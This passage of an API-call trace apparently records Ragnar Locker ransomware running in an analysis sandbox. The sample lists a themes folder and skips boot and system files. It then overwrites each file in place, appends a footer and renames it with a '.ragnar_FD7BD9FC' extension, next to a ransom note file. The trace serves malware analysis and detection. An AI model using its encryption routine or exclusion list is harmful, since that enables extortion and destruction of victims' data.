"c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0074.775] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*" [0074.775] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.775] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0074.775] lstrcpyW (in: lpString1=0x1ea75c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0074.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ecf3ca0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ecf3ca0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0074.775] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0074.775] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ecf3ca0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ecf3ca0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.775] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0074.775] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0074.775] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0074.775] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2=".") returned 1 [0074.775] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="..") returned 1 [0074.775] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0074.775] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2=".") returned 1 [0074.775] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="..") returned 1 [0074.775] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0074.775] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0074.776] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0074.776] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ecf3ca0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ecf3ca0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0074.776] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0074.776] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0074.776] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0074.776] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0074.776] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0074.776] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0074.776] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0074.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ecf3ca0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ecf3ca0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0074.776] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ecf3ca0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ecf3ca0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.776] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0074.776] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.776] lstrcpyW (in: lpString1=0x1eab70, lpString2="PAPYRUS.ELM" | out: lpString1="PAPYRUS.ELM") returned="PAPYRUS.ELM" [0074.776] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM") returned=".ELM" [0074.776] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.776] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="autorun.inf") returned 1 [0074.776] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="boot.ini") returned 1 [0074.776] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="bootfont.bin") returned 1 [0074.776] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="bootsect.bak") returned 1 [0074.776] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="bootmgr") returned 1 [0074.776] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="bootmgr.efi") returned 1 [0074.776] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="bootmgfw.efi") returned 1 [0074.776] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="desktop.ini") returned 1 [0074.776] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="iconcache.db") returned 1 [0074.776] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="ntldr") returned 1 [0074.776] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="ntuser.dat") returned 1 [0074.776] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="ntuser.dat.log") returned 1 [0074.776] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="ntuser.ini") returned 1 [0074.777] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="thumbs.db") returned -1 [0074.777] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0074.777] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0074.777] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0074.777] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0074.777] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0074.777] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0074.777] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0074.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm")) returned 0x20 [0074.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0074.777] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=91861) returned 1 [0074.777] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x166cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.777] GetProcessHeap () returned 0x580000 [0074.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.777] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.778] VirtualAlloc (lpAddress=0x0, dwSize=0x166d5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.779] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.779] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.779] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x166d5, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x166d5, lpOverlapped=0x0) returned 1 [0074.781] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.782] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x166d5, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.782] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x166d5, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x166d5, lpOverlapped=0x0) returned 1 [0074.782] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x166d5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.782] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.783] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x166d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.783] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.783] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.783] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.783] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.783] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.783] GetProcessHeap () returned 0x580000 [0074.783] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.783] CloseHandle (hObject=0x100) returned 1 [0074.783] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" [0074.783] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.ragnar_FD7BD9FC" [0074.783] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.785] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0074.785] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.785] lstrcpyW (in: lpString1=0x1eab70, lpString2="PAPYRUS.INF" | out: lpString1="PAPYRUS.INF") returned="PAPYRUS.INF" [0074.785] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF") returned=".INF" [0074.785] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.785] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="autorun.inf") returned 1 [0074.785] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="boot.ini") returned 1 [0074.785] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="bootfont.bin") returned 1 [0074.785] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="bootsect.bak") returned 1 [0074.785] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="bootmgr") returned 1 [0074.785] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="bootmgr.efi") returned 1 [0074.785] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="bootmgfw.efi") returned 1 [0074.785] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="desktop.ini") returned 1 [0074.785] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="iconcache.db") returned 1 [0074.785] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="ntldr") returned 1 [0074.785] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="ntuser.dat") returned 1 [0074.786] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="ntuser.dat.log") returned 1 [0074.786] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="ntuser.ini") returned 1 [0074.786] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="thumbs.db") returned -1 [0074.786] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0074.786] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0074.786] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0074.786] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0074.786] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0074.786] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0074.786] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0074.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf")) returned 0x20 [0074.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0074.787] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=500) returned 1 [0074.787] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.787] GetProcessHeap () returned 0x580000 [0074.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.787] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.788] VirtualAlloc (lpAddress=0x0, dwSize=0x1f4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.788] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.788] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.788] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1f4, lpOverlapped=0x0) returned 1 [0074.788] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.788] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.788] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1f4, lpOverlapped=0x0) returned 1 [0074.788] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.788] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.788] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.788] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.789] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.789] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.789] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.789] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.789] GetProcessHeap () returned 0x580000 [0074.789] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.789] CloseHandle (hObject=0x100) returned 1 [0074.789] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" [0074.789] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF.ragnar_FD7BD9FC" [0074.789] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.790] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0074.790] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: 